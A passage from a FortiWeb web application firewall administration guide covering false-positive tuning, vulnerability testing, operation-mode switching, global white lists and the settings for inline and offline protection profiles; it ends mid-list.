If you have another FortiWeb appliance, you can use its web vulnerability scanner to verify that your policies are blocking attacks as you expect. For details, see ["Vulnerability scans"](#) on page 650.

You may need to refine the configuration. For details, see ["Expanding the initial configuration"](#) on page 254.

Once testing is complete, finish your basic setup with either ["Switching out of Offline Protection mode"](#) on page 255 or ["Backups"](#) on page 324. Your FortiWeb appliance has many additional protection and maintenance features you can use. For details, see the other chapters in this guide.

Reducing false positives

If the dashboard indicates that you are getting dozens or hundreds of nearly identical attacks, they may actually be legitimate requests that were mistakenly identified as attacks (i.e. false positives). Many of the signatures, rules, and policies that make up protection profiles are based, at least in part, on regular expressions. If your websites' inputs and other values are hard for you to predict, the regular expression may match some values incorrectly. If the matches are not exact, many of your initial alerts may not be real attacks or violations. They will be false positives.

Fix false positives that appear in your attack logs so that you can focus on genuine attacks.

Here are some tips:

- Examine your web protection profile (go to **Policy > Web Protection Profile** and view the settings in the applicable offline or inline protection profile). Does it include a signature set that seems to be causing alerts for valid URLs? If so, disable the signature to reduce false positives.

- If your web protection profile includes a signature set where the **Extended Signature Set** option is set to **Full**, reduce it to **Basic** to see if that reduces false positives. For details, see ["Specifying URLs allowed to initiate sessions"](#) on page 548.
- If your web protection profile includes HTTP protocol constraints that seem to be causing alerts for legitimate HTTP requests, create and use exceptions to reduce false positives. For details, see ["Configuring HTTP protocol constraint exceptions"](#) on page 577.
- Most dialog boxes that accept regular expressions include the >> (test) icon. This opens the **Regular Expression Validator** window, where you can fine-tune the expression to eliminate false positives.
- If you use features on the **DoS Protection** menu to guard against denial-of-service attacks, you could have false positives if you set the thresholds too low. Every client that accesses a web application generates many sessions as part of the normal process. Try adjusting some thresholds higher.
- To learn more about the behavior of regular expressions that generate alerts, enable the **Retain Packet Payload** options in the logging configuration. Packet payloads provide the actual data that triggered the alert, which may help you to fine tune your regular expressions to reduce false positives. For details, see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693 and ["Viewing log messages"](#) on page 706.

Testing for vulnerabilities & exposure

Even if you are not a merchant, hospital, or other agency that is required by law to demonstrate compliance with basic security diligence to a regulatory body, you still may want to verify your security.

- Denial of service attacks can tarnish your reputation and jeopardize service income.
- Hacked servers can behave erratically, decreasing uptime.
- Malicious traffic can decrease performance.
- Compromised web servers can be used as a stepping stone for attacks on sensitive database servers.

To verify your configuration, start by running a vulnerability scan. For details, see ["Vulnerability scans"](#) on page 650.

You may also want to schedule a penetration test on a lab environment. Based upon results, you may decide to expand or harden your FortiWeb's initial configuration. For details, see ["Hardening security"](#) on page 739.

Expanding the initial configuration

After your FortiWeb appliance has operated for several days without significant problems, it is a good time to adjust profiles and policies to provide additional protection and to improve performance.

- Begin monitoring the third-party cookies FortiWeb observes in traffic to your web servers. When FortiWeb finds cookies, an icon is displayed on **Policy > Server Policy > Server Policy** for each affected server. If cookies are threats (for example, if they are used for state tracking or database input) consider adding a cookie security policy to the inline protection profiles for those servers. For details, see ["Protecting against cookie poisoning and other cookie-based attacks"](#) on page 501.
- Add any missing rules and policies to your protection profiles, such as:
 - page access rules (see ["Enforcing page order that follows application logic"](#) on page 544)
 - start page rules (see ["Specifying URLs allowed to initiate sessions"](#) on page 548)
 - brute force login profiles (see ["Preventing brute force logins"](#) on page 619)
 - rewriting policies (see ["Rewriting & redirecting"](#) on page 622)
 - denial-of-service protection (see ["DoS prevention"](#) on page 604)

If you began in Offline Protection mode and later transitioned to another operation mode such as Reverse Proxy, new features may be available that were not supported in the previous operation mode.

- Examine the **Attack Event History** in the **Policy Summary** widget on **System > Status > Status**. If you have zero attacks, but you have reasonable levels of traffic, it may mean the protection profile used by your server policy is incomplete and not detecting some attack attempts.
- Examine the **Attack Log** widget under **System > Status > Status**. If the list includes many identical entries, it likely indicates false positives. If there are many entries of a different nature, it likely indicates real attacks. If there are no attack log entries but the **Attack Event History** shows attacks, it likely means you have not correctly configured logging. For details, see ["Configuring logging"](#) on page 693.

You can create reports to track trends that may deserve further attention. For details, see ["Data analytics"](#) on page 730, ["Vulnerability scans"](#) on page 650, and ["Reports"](#) on page 720.

Switching out of Offline Protection mode

Switch **only** if you chose Offline Protection mode for evaluation or transition purposes when you first set up your FortiWeb appliance, and now want to transition to a full deployment.

To switch the operation mode

1. Back up your configuration. For details, see ["Backups"](#) on page 324.



Back up your system before changing the operation mode. Changing modes deletes policies not applicable to the new mode, static routes, and V-zone IP addresses. You may also need to re-cable your network topology to suit the operation mode.

2. Disconnect all cables from the physical ports **except** the cable to your management computer.
3. Reconfigure the network interfaces with the IP addresses and routes that they will need in their new topology.
4. Re-cable your network topology to match the new mode. For details, see ["Planning the network topology"](#) on page 97.
5. Change the operation mode. For details, see ["Setting the operation mode"](#) on page 135.
6. Go to **System > Network > Route** and select **Static Route** tab. If your static routes were erased, re-create them. For details, see ["Adding a gateway"](#) on page 178.
7. Go to **System > Network > Interface**. If your VLAN configurations were removed, re-create them. If you chose one of the transparent modes, consider creating a v-zone bridge instead of VLANs. For details, see ["Configuring a bridge \(V-zone\)"](#) on page 171.
8. Go to **Policy > Web Protection Policy** and select **Inline Protection Profile** tab. Create new inline protection profiles that reference the rules and policies in each of your previous Offline Protection profiles. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 and ["How operation mode affects server policy behavior"](#) on page 257.
9. Go to **Policy > Server Policy**. Edit your existing server policies to reference the new inline protection profiles instead of the Offline Protection profiles. For details, see ["How operation mode affects server policy behavior"](#) on page 257.

10. Watch the monitors on the dashboard to make sure traffic is flowing through your appliance in the new mode.
11. Since there are many possible configuration changes when switching modes, including additional available protections, **don't forget to retest**. Prior testing is no longer applicable.

Policies

The **Policy** menu configures policies and protection profiles.

You can configure most protection features and traffic modification at any time. However, **FortiWeb does not apply most features until you include them in a policy that governs traffic** (either directly or indirectly, via protection profiles).

See also

- ["Supported features in each operation mode"](#) on page 102
- ["Matching topology with operation mode & HA mode"](#) on page 104

How operation mode affects server policy behavior

Policy and protection profile behavior and supported features varies by the operation mode. For details, see ["Supported features in each operation mode"](#) on page 102.

The WCCP operation mode is similar to True Transparent Proxy, except web servers see the FortiWeb network interface IP address and not the IP address of the client.

Policy behavior by operation mode

	Operation mode			
	Reverse Proxy	Offline Protection	True Transparent Proxy	Transparent Inspection
Matches by	• Service • Virtual server	Virtual server's network interface, but not its IP address.	V-zone (bridge), but not its IP address.	V-zone (bridge), but not its IP address.
Violations	Blocked or modified, according to profile.	Attempts to block by mimicking the client or server and requesting to reset the connection; does not modify otherwise.	Blocked or modified, according to profile.	Attempts to block by mimicking the client or server and requesting to reset the connection; does not modify otherwise.
Profile support	• Inline protection profiles • Auto-learning profiles	• Offline Protection profiles • Auto-learning profiles	• Inline protection profiles • Auto-learning profiles	• Offline Protection profiles • Auto-learning profiles

Operation mode				
	Reverse Proxy	Offline Protection	True Transparent Proxy	Transparent Inspection
SSL	Certificate used to offload SSL from the servers to FortiWeb; can optionally re-encrypt before forwarding to the destination server.	Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.	Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.	Certificate used to decrypt and scan only; does not act as an SSL origin or terminator.
Forwarding	- Forwards to a server pool member using the port number where it listens; similar to a network address translation (NAT) policy on a general-purpose firewall. - Can route connections to a specific server pool based on HTTP content.	Lets the traffic pass through to a server pool member, but does not load-balance.	Forwards to a server pool member (but allowing to pass through, without actively redistributing connections) using the port number where it listens.	Lets the traffic pass through to a member of a server pool, but does not load balance.

The way that FortiWeb determines which policy to apply to a connection varies by operation mode. The appliance applies only one policy to each connection.

If a TCP connection does not match any of the policies, FortiWeb either refuses the connection (if it is operating in Reverse Proxy mode) or denies the connection (if it is operating in other operation modes). Even if the TCP connection has a matching policy and is allowed, subsequently, if the HTTP/HTTPS request is not allowed by the policy's profiles, it is considered to be in violation of the policy and the client may be blocked at the application (request) level or connection level, depending on the **Action** that you configure.

Policies are **not** applied while they are disabled. For details, see ["Enabling or disabling a policy"](#) on page 291.

Configuring the global object white list

Go to **Server Objects > Global > Global White List**, the **Predefined Global White List** tab displays a predefined list of common Internet entities, such as:

- the FortiWeb session cookie named `cookiesession1`
- Google Analytics cookies such as `__utma`
- the URL icon `/favicon.ico`
- AJAX parameters such as `__LASTFOCUS`

that your FortiWeb appliance can ignore when it enforces your policies. FortiGuard FortiWeb Security Service service updates the predefined global white list. However, you can also whitelist your own custom URLs, cookies, and parameters on the **Custom Global White List** tab in **Server Objects > Global > Global White List**.

When enabled, white-listed items are **not** flagged as potential problems, nor incorporated into auto-learning data. This feature reduces false positives and improves performance.

To include white list items during policy enforcement and auto-learning reports, you must first disable them in the global white list.

To disable an item in the predefined global white list

1. Go to **Server Objects > Global > Global White List** and select the **Predefined Global White List** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "[Permissions](#)" on page 85.

2. To see the items that each section contains and to expose those items' **Enable** check box, click the plus (+) and minus (-) icons.
3. In the row of the item that you want to disable, click the switch to off in the **Enable** column.
4. Click **Apply**.
5. To verify that an item is no longer whitelisted, you can enable auto-learning, then make a request to a protected website. The auto-learning report should **omit** any items that you have disabled, such as the `/favicon.ico` URL. Alternatively, use the parameter or URL to attempt to trigger an attack signature that should block it.

To configure a custom global white list

1. Go to **Server Objects > Global > Global White List** and select the **Custom Global White List** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Server Policy Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New**.
3. From **Type**, select the part of the HTTP request where you want to white list an object. Available configuration fields vary by the type that you choose.
 - If **Type** is **URL**:

Request Type	Indicate whether the Request URL (page 259) field will contain a literal URL (Simple String), or a regular expression designed to match multiple URLs (Regular Expression).
Request URL	Depending on your selection in the Request Type (page 259) field, enter either: • The literal URL, such as <code>/robots.txt</code>, that the HTTP request must contain in order to match the rule. The URL must begin with a backslash (<code>/</code>).

- A regular expression, such as `^/*\.html`, matching all and only the URLs to which the rule should apply. The pattern does not require a slash (/); however, it must at match URLs that begin with a slash, such as `/index.html`.

Do not include the domain name, such as `www.example.com`.

To create and test a regular expression, click the **>>** (test) icon. This opens the **Regular Expression Validator** window where you can fine-tune the expression. For details, see ["Regular expression syntax"](#) on page 829.

- If **Type** is **Parameter**, in **Name**, type the name of the variable **exactly** as it appears in the URL or HTTP body (varies by HTTP `GET/POST` method).

For example, if the URL ends with the parameter substring `?userName=rowan`, you would type `userName` (note the capital letter).

- If **Type** is **Cookie**:

Name	Type the name of the cookie as it appears in the HTTP request, such as <code>NID</code> .
Domain	Type the partial or complete domain name or IP address as it appears in the cookie, such as: <pre>www.example.com .google.com 10.0.2.50</pre> If clients sometimes access the host via IP address instead of DNS, create white list objects for both. Caution: Do not whitelist untrusted subdomains that use vulnerable cookies. It could compromise the security of that domain and its network.
Path	Type the path as it appears in the cookie, such as <code>/</code> or <code>/blog/folder</code> .

4. Click **OK**.

5. To verify that an item is now whitelisted, you can enable auto-learning, then make a request to a protected website. The auto-learning report should **include** any items that you have whitelisted. Alternatively, use the parameter or URL to attempt to trigger an attack signature that would normally block it; the item should now be allowed.

See also

- ["Configuring a server policy"](#) on page 277
- ["Viewing auto-learning reports"](#) on page 229
- ["IPv6 support"](#) on page 60

Configuring a protection profile for inline topologies

Inline protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can be applied by a policy. Inline protection profiles contain only the features that are supported in inline topologies, which you use with operation modes such as Reverse Proxy and true transparent.

Inline protection profiles' primary purpose is to block attacks, especially for use in conjunction with auto-learning profiles. If used in conjunction with auto-learning profiles, you **should** configure the Offline Protection profile to log **but not block** attacks in order to gather complete session statistics for the auto-learning feature.



Inline protection profiles include features that require an inline network topology. They can be configured at any time, but **cannot** be applied by a policy if the FortiWeb appliance is operating in a mode that does not support them. For details, see ["How operation mode affects server policy behavior"](#) on page 257.

To configure an inline protection profile

1. Before configuring an inline protection profile, first configure any of the following that you want to include in the profile:



To save time, you may be able to use auto-learning to generate protection profiles and their components by observing your web servers' traffic. For details, see ["Auto-learning"](#) on page 202.

- X-Forwarded-For : or other X-header rule (see ["Defining your proxies, clients, & X-headers"](#) on page 421)
- File security policy (see ["Limiting file uploads"](#) on page 590)
- Allowed method set (see ["Specifying allowed HTTP methods"](#) on page 564)
- URL access rule (see ["Restricting access to specific URLs"](#) on page 475)
- Signature set (see ["Blocking known attacks & data leaks"](#) on page 505)
- Padding oracle protection rule (see ["Defeating cipher padding attacks on individually encrypted inputs"](#) on page 534)
- Cookie security policy (see ["Protecting against cookie poisoning and other cookie-based attacks"](#) on page 501)
- Cross-site request forgery (CSRF) protection rule (see ["Defeating cross-site request forgery \(CSRF\) attacks"](#) on page 538)
- Page order rule (see ["Enforcing page order that follows application logic"](#) on page 544)
- Parameter validator (see ["Validating parameters \("input rules"\)"](#) on page 553)
- Hidden fields protector (see ["Preventing tampering with hidden inputs"](#) on page 560)
- Start pages rule (see ["Specifying URLs allowed to initiate sessions"](#) on page 548)
- Brute force login attack detector (see ["Preventing brute force logins"](#) on page 619)
- Protocol constraints rule (see ["HTTP/HTTPS protocol constraints"](#) on page 568)
- Rewriting or redirection set (see ["Rewriting & redirecting"](#) on page 622)
- Content caching rule (see ["Caching"](#) on page 639)
- User tracking policy (see ["Tracking users"](#) on page 382)
- Authentication policy (see ["Offloading HTTP authentication & authorization"](#) on page 343)
- Site publishing policy (see ["Single sign-on \(SSO\) \(site publishing\)"](#) on page 361)

- File compression rule (see ["Configuring compression offloading"](#) on page 645)
- File decompression rule (see ["Configuring temporary decompression for scanning & rewriting"](#) on page 647)
- XML protection policy (see ["Configuring XML protection"](#) on page 582)
- DoS protector (see ["Grouping DoS protection rules"](#) on page 618)
- Client IP set (see ["Blacklisting & whitelisting clients using a source IP or source IP range"](#) on page 490)
- IP reputation policy (see ["Blacklisting source IPs with poor reputation"](#) on page 485)
- Device Tracking feature and device reputation security policies (see ["Blocking client devices with poor reputation"](#) on page 493)
- FortiGate that provides a list of quarantined source IPs (see ["Receive quarantined source IP addresses from FortiGate"](#) on page 198)
- Trigger if you plan to use policy-wide log and alert settings (see ["Viewing log messages"](#) on page 706)

2. Go to **Policy > Web Protection Profile** and select the **Inline Protection Profile** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

Alternatively, click the **Clone** icon to copy an existing profile as the basis for a new one. The predefined profiles supplied with your FortiWeb appliance cannot be edited, only viewed or cloned.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Session Management	Enable to add a cookie to the reply in order for FortiWeb to be able to track the state of web applications across multiple requests (i.e., to implement HTTP sessions). Also configure Session Timeout (page 263). This feature adds the FortiWeb's own session support, and does not duplicate or require that your web applications have its own sessions. For details, see "HTTP sessions & security" on page 70. Note: Enabling this option is required if: • You select features requiring session cookies, such as DoS Protection (page 267), Start Pages, Page Access (page 266), or Hidden Fields Protection (page 266) • In any policy, you will select an auto-learning profile with this profile • You want to include this profile's traffic in the traffic log Note: This feature requires that the client support cookies. RPC clients and browsers where the person has disabled cookies do not support FortiWeb HTTP sessions, and therefore also do not support FortiWeb features that are dependent upon them. Note: This option is not supported in an Active-Active HA deployment

	when the algorithm By connections or Round-robin is used for load-balancing.
Session Timeout	Type the HTTP session timeout in seconds. After this time elapses during which there were no more subsequent requests, after which the FortiWeb appliance will regard the next request as the start of a new HTTP session. This option appears only if Session Management (page 262) is enabled. The default is 1200 (20 minutes). The valid range is from 20 to 3,600 seconds.
X-Forwarded-For	Select the <code>X-Forwarded-For :</code> and <code>X-Real-IP :</code> HTTP header settings to use, if any. For details, see "Defining your proxies, clients, & X-headers" on page 421. Note: Configuring this option is required if the true IP address of the client is hidden from FortiWeb because a load balancer or other web proxy is deployed in front. In that case, you must configure an X-header rule so that FortiWeb will block only requests related to the original client. Otherwise, it may block all requests whenever any attack occurs, since all requests will appear to originate from the proxy's IP.
Signatures	Select the name of the signature set you have configured in Web Protection > Known Attacks, if any, that will be applied to matching requests. Enable AMF3, XML, or JSON Protocol Detection if applicable. Attack log messages for this feature vary by which type of attack was detected. For a list, see "Blocking known attacks & data leaks" on page 505.
Enable AMF3 Protocol Detection	Enable to scan requests that use action message format 3.0 (AMF3) for: • Cross-site scripting (XSS) attacks • SQL injection attacks • Common exploits and other attack signatures that you have enabled in Signatures (page 263). AMF3 is a binary format that can be used by Adobe Flash/Flex clients to send input to server-side software. Caution: To scan for attacks or enforce input rules on AMF3, you must enable this option. Failure to enable the option will cause the FortiWeb appliance to be unable to scan AMF3 requests for attacks.
Enable XML Protocol	Enable to scan for matches with attack and data leak signatures in Web 2.0

Detection	(XML AJAX), SOAP, and other XML submitted by clients in the bodies of HTTP <code>POST</code> requests.
Illegal XML Format	Enable to validate that XML elements and attributes in the request's body conform to the W3C XML 1.1 standard, the XML 2.0 standard, or both. Malformed XML, such as without the final > or with multiple >> in the closing tag, is often an attempt to exploit an unhandled error condition in a web application's XHTML or XML parser. If the request fails the validation, FortiWeb takes the specified action. Attack log messages contain <code>Illegal XML Format</code> when this feature detects malformed XML. Caution: If your back-end web servers require extensive protection for a vulnerable XML parser, you should add 3rd-party XML protection to your security architecture. Unlike XML protection profiles in previous versions of FortiWeb, Illegal XML Format (page 264) does not scan for conformity with the document object model (DOM)/DTD/W3C Schema, recursive payloads, Schema poisoning, or other advanced XML attacks. It also cannot encrypt or sign XML elements. Failure to provide adequate XML protection could allow attackers to penetrate your network. • Alert—Accept the request and generate an alert email, log message, or both. • Alert & Deny—Block the request and generate an alert, log message, or both. • Period Block—Block requests for the number of seconds specified by Block Period. The range is 1 to 3600. See also "Monitoring currently blocked IPs" on page 735. Note: If FortiWeb is deployed behind a NAT load balancer and this option is enabled, to prevent FortiWeb from blocking all connections when it detects a violation of this type, define an X-header that indicates the original client's IP. For details, see "Defining your proxies, clients, & X-headers" on page 421. In addition, select a severity level and trigger policy. Available only when Enable XML Protocol Detection (page 263) is On.
Enable JSON Protocol Detection	Enable to scan for matches with attack and data leak signatures in JSON data submitted by clients in HTTP requests with <code>Content-Type:</code> values <code>application/json</code> or <code>text/json</code> .
Illegal JSON Format	Enable to scan for illegal formatting in JSON data. If FortiWeb detects illegal formatting, it takes the specified action. • Alert—Accept the request and generate an alert email, log message, or both.

- **Alert & Deny**—Block the request and generate an alert, log message, or both.
- **Period Block**—Block requests for the number of seconds specified by **Block Period**. The range is 1 to 3600. See also ["Monitoring currently blocked IPs"](#) on page 735.

Note: If FortiWeb is deployed behind a NAT load balancer and this option is enabled, to prevent FortiWeb from blocking **all** connections when it detects a violation of this type, define an X-header that indicates the original client's IP. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

In addition, select a severity level and trigger policy.

Available only when **Enable JSON Protocol Detection** (page 264) is **On**.

Custom Policy	Select the name of a combination source IP, rate limit, HTTP header, and URL access policy, if any, that will be applied to matching requests. For details, see "Combination access control & rate limiting" on page 480. Attack log messages contain <code>Custom Access Violation</code> when this feature detects a violation.
Padding Oracle Protection	Select the name of padding oracle protection rule, if any, that will be applied to matching requests. For details, see "Defeating cipher padding attacks on individually encrypted inputs" on page 534. Attack log messages contain <code>Padding Oracle Attack</code> when this feature detects a violation.
HTTP Header Security	Select the name of HTTP header security policy, if any, to apply to matching responses. For details, see "Addressing security vulnerabilities by HTTP Security Headers" on page 542.
CSRF Protection	Select the name of cross-site request forgery protection rule, if any, to apply to matching requests. For details, see "Defeating cross-site request forgery (CSRF) attacks" on page 538. Available only when Session Management (page 262) is selected.
Cookie Security Policy	Select the name of a cookie security policy to apply to matching requests. For details, see "Protecting against cookie poisoning and other cookie-based attacks" on page 501. If the Security Mode (page 501) option in the policy is Signed, ensure that Session Management (page 262) is On.
Parameter Validation	Select the name of the parameter validation rule, if any, that will be

	applied to matching requests. For details, see "Validating parameters (input rules)" on page 553. Attack log messages contain <code>Parameter Validation Violation</code> when this feature detects a parameter rule violation.
Hidden Fields Protection	Select the name of the hidden fields protection rule, if any, to use to protect hidden fields on your website. For details, see "Preventing tampering with hidden inputs" on page 560. Attack log messages contain <code>Hidden Field Manipulation</code> when this feature detects tampering. This option appears only when Session Management (page 262) is enabled.
File Security	Select an existing file security policy, if any, that will be applied to matching HTTP requests. For details, see "Limiting file uploads" on page 590. Attack log messages contain <code>Illegal File Size</code> when this feature detects an excessively large upload.
HTTP Protocol Constraints	Select the name of an HTTP parameter constraint, if any, that will be applied to matching requests. For details, see "HTTP/HTTPS protocol constraints" on page 568. Attack log messages for this feature vary by which type of constraint was violated.
Brute Force Login	Select the name of a brute force login attack profile, if any, that will be applied to matching requests. For details, see "Preventing brute force logins" on page 619. Attack log messages contain <code>Brute Force Login Violation</code> when this feature detects a brute force login attack.
URL Access	Select the name of the URL access policy, if any, that will be applied to matching HTTP requests. For details, see "Restricting access to specific URLs" on page 475. Attack log messages contain <code>URL Access Violation</code> when this feature detects a URL matched by this policy.
Page Access	Select the page access rule, if any, that defines the URLs that must be accessed in a specific order. See "Enforcing page order that follows application logic" on page 544. Attack log messages contain <code>Page Access Violation</code> when this feature detects an illegal request order. This option appears only when Session Management (page 262) is enabled.

Start Pages	Select the start pages rule, if any, that represent legitimate entry points into your web pages and web services. For details, see "Specifying URLs allowed to initiate sessions" on page 548. Attack log messages contain <code>Start Page Violation</code> when this feature detects a session attempting to initiate illegally. This option appears only when Session Management (page 262) is enabled.
Allow Method	Select an existing allow method policy, if any, that will be applied to matching HTTP requests. For details, see "Specifying allowed HTTP methods" on page 564. Attack log messages contain <code>HTTP Method Violation</code> when this feature detects a non-allowed HTTP request method.
IP List	Select the name of a client white list or black list, if any, that will be applied to matching requests. For details, see "Blacklisting & whitelisting clients using a source IP or source IP range" on page 490.
Geo IP	Select the name of a geographically-based client black list, if any, that will be applied to matching requests. For details, see "Blacklisting & whitelisting countries & regions" on page 488.
XML Protection	Select the name of an existing XML protection policy. For details, see "Configuring XML protection" on page 582.
DoS Protection	Select the name of an existing DoS prevention policy. For details, see "Grouping DoS protection rules" on page 618.
IP Reputation	Enable to apply IP reputation intelligence. For details, see "Blacklisting source IPs with poor reputation" on page 485.
FortiGate Quarantined IPs	Enable to detect source IP addresses that a FortiGate unit is currently preventing from interacting with the network and protected systems. Then, select the action that FortiWeb takes if it detects a quarantined IP address: • Alert—Accept the request and generate an alert email, log message, or both. • Alert & Deny—Block the request and generate an alert, log message, or both. Note: If FortiWeb is deployed behind a NAT load balancer and this option is enabled, to prevent FortiWeb from blocking all connections when it detects a violation of this type, define an X-header that indicates the original client's IP. For details, see "Defining your proxies, clients, & X-headers" on page 421. In addition, select a severity level and trigger policy. For information on configuring communication with the FortiGate that

	provides the list of quarantined IP addresses, see "Receive quarantined source IP addresses from FortiGate" on page 198.
Allow Known Search Engines	Enable to exempt popular search engines' spiders from DoS sensors, brute force login sensors, HTTP protocol constraints, combination rate & access control (called "advanced protection" and "custom policies" in the web UI), and blocking by geographic location (Geo IP). This option improves access for search engines. Rapid access rates, unusual HTTP usage, and other characteristics that may be suspicious for web browsers are often normal with search engines. If you block them, your websites' rankings and visibility may be affected. By default, this option allows all popular predefined search engines. Known search engine indexer source IPs are updated via FortiGuard Security Service. To specify which search engines are exempt, click the Details link. A new frame appears on the right side of the protection profile. Enable or disable each search engine, then click Apply. See also "Blacklisting content scrapers, search engines, web crawlers, & other robots" on page 492. Note: X-header-derived client source IPs do not support this feature in this release. If FortiWeb is deployed behind a load balancer or other web proxy that applies source NAT, this feature will not work. For details, see "Defining your proxies, clients, & X-headers" on page 421.
URL Rewriting	Select the name of a URL rewriting rule set, if any, that will be applied to matching requests. For details, see "Rewriting & redirecting" on page 622.
HTTP Authentication	Select the name of an authorization policy, if any, that will be applied to matching requests. For details, see "Offloading HTTP authentication & authorization" on page 343. If the client fails to authenticate, it will receive an HTTP 403 <code>Access Forbidden</code> error message.
Site Publish	Select the name of a site publishing policy, if any, that will be applied to matching requests. For details, see "Single sign-on (SSO) (site publishing)" on page 361.
File Compress	Select the name of an compression policy, if any, that will be applied to matching requests. For details, see "Configuring compression offloading" on page 645.
File Uncompress	Select the name of a decompression policy, if any, that will be applied to matching requests. For details, see "Configuring temporary decompression for scanning & rewriting" on page 647.
Web Cache	Select the name of a content caching policy, if any, that will be used for matching requests. For details, see "Caching" on page 639.

User Tracking	Select the name of a user tracking policy, if any, to use for matching requests. For details, see "Tracking users" on page 382.
Device Tracking	Enable to begin tracking client devices. When this feature is enabled, each device is tracked regardless of its location or IP, and security violations can be defined according to the risk level of devices using device reputation security policies. For details, see "Blocking client devices with poor reputation" on page 493.
Device Reputation Security Policy	Select the name of a device reputation security policy, if any, so that FortiWeb can carry out violation actions according to the risk level of devices defined in a device reputation security policy. This option appears only if Device Tracking is enabled. If a device reputation security policy is not selected when Device Tracking is enabled, violation actions will be carried out as defined in the individual policy and rule selected in the protection profile. For details, see "Blocking client devices with poor reputation" on page 493.
Redirect URL	Type a URL including the FQDN/IP and path, if any, to which a client will be redirected if: • Its request violates any of the rules in this profile, and • The Action (page 507) for the rule is set to Redirect. For example, you could enter: <pre>www.example.com/products/</pre> If you do not enter a URL, depending on the type of violation and the configuration, the FortiWeb appliance will log the violation, may attempt to remove the offending parts, and could either reset the connection or return an HTTP 403 Access Forbidden or 404 File Not Found error message.
Redirect URL With Reason	Enable to include the reason for redirection as a parameter in the URL, such as <pre>reason=Parameter%20Validation%20Violation</pre> when traffic has been redirected using Redirect URL (page 269). The FortiWeb appliance also adds <code>fortiwaf=1</code> to the URL to detect and cancel a redirect loop (if the redirect action would otherwise recursively triggers an attack event). By default, this option is disabled. Caution: If the FortiWeb appliance is protecting a redirect URL, enable this option to prevent infinite redirect loops.
Data Analytics	Enable to gather hit, attack, and traffic volume statistics for each server policy that includes this profile. For details, see "Configuring policies to gather data" on page 730 and "Viewing website statistics" on page 731.

Note: This option cannot be enabled until you have uploaded a geography-to-IP mapping database. For details, see ["Updating data analytics definitions"](#) on page 731.

To view or modify a component without leaving the page, next to the drop-down menu where you have selected the component, click **Detail**.

5. Click **OK**.
6. If you intend to use this protection profile in conjunction with an auto-learning profile in order to indicate which attacks and other aspects should be discovered, also configure the auto-learning profile. For details, see ["Configuring an auto-learning profile"](#) on page 225.
7. To apply the inline protection profile, select it in a server policy. For details, see ["Configuring a server policy"](#) on page 277.

See also

- ["How operation mode affects server policy behavior"](#) on page 257
- ["HTTP sessions & security"](#) on page 70
- ["Configuring a server policy"](#) on page 277

Configuring a protection profile for an out-of-band topology or asynchronous mode of operation

Offline Protection profiles combine previously configured rules, profiles, and policies into a comprehensive set that can be applied by a policy. Offline Protection profiles contain only the features that are supported in out-of-band topologies and asynchronous inspection, which are used with operation modes such as Transparent Inspection and Offline Protection.

Offline Protection profiles' primary purpose is to **detect** attacks, especially for use in conjunction with auto-learning profiles. Depending on the routing and network load, due to limitations inherent to out-of-band topologies and asynchronous inspection, FortiWeb may **not** be able to reliably block all of the attacks it detects, even if you have configured FortiWeb with an **Action** setting of **Alert & Deny**. In fact, if used in conjunction with auto-learning profiles, you **should** configure the Offline Protection profile to **log but not block** attacks in order to gather complete session statistics for the auto-learning feature.



Offline Protection profiles only include features that do **not** require an inline network topology. You can configure them at any time, but a policy **cannot** apply an Offline Protection profile if the FortiWeb appliance is operating in a mode that does not support them. For details, see ["How operation mode affects server policy behavior"](#) on page 257.

To configure an Offline Protection profile

1. Before configuring an Offline Protection profile, first configure any of the following that you want to include in the profile:



To save time, you may be able to use auto-learning to generate protection profiles and their components by observing your web servers' traffic. For details, see ["Auto-learning"](#) on page 202.

- an `X-Forwarded-For`: or other X-header rule (see ["Defining your proxies, clients, & X-headers"](#) on page 421)
- an allowed method policy (see ["Specifying allowed HTTP methods"](#) on page 564)
- a file security policy (see ["Limiting file uploads"](#) on page 590)
- a URL access policy (see ["Restricting access to specific URLs"](#) on page 475)
- a signature set (see ["Blocking known attacks & data leaks"](#) on page 505)
- an oracle padding protection rule (see ["Defeating cipher padding attacks on individually encrypted inputs"](#) on page 534)
- a cookie security policy (see ["Protecting against cookie poisoning and other cookie-based attacks"](#) on page 501)
- a parameter validation policy (see ["Validating parameters \("input rules"\)"](#) on page 553)
- a hidden field protection rule (see ["Preventing tampering with hidden inputs"](#) on page 560)
- a brute force login attack profile (see ["Preventing brute force logins"](#) on page 619)
- a protocol constraints profile (see ["HTTP/HTTPS protocol constraints"](#) on page 568)
- a robot control profile (see ["Blacklisting content scrapers, search engines, web crawlers, & other robots"](#) on page 492)
- an IP list (see ["Blacklisting & whitelisting clients using a source IP or source IP range"](#) on page 490)
- the IP reputation policy (see ["Blacklisting source IPs with poor reputation"](#) on page 485)
- a file uncompress rule (see ["Configuring temporary decompression for scanning & rewriting"](#) on page 647)
- a trigger if you plan to use policy-wide log and alert settings (see ["Viewing log messages"](#) on page 706)
- a user tracking policy (see ["Tracking users"](#) on page 382)

2. Go to **Policy > Web Protection Profile** and select the **Offline Protection Profile** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

Predefined profiles cannot be edited, but they can be viewed and cloned.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Session Management	Enable to use your web application's session IDs in order for FortiWeb to be able to track the state of web applications across multiple requests. Also configure Session Timeout (page 272). Note: When FortiWeb is deployed in an offline topology or asynchronous operation mode, this feature requires that your web applications have session IDs in their URL. For details, see "HTTP"

[sessions & security](#)" on page 70 and ["Supported features in each operation mode"](#) on page 102.

Note: Enabling this option is **required** if:

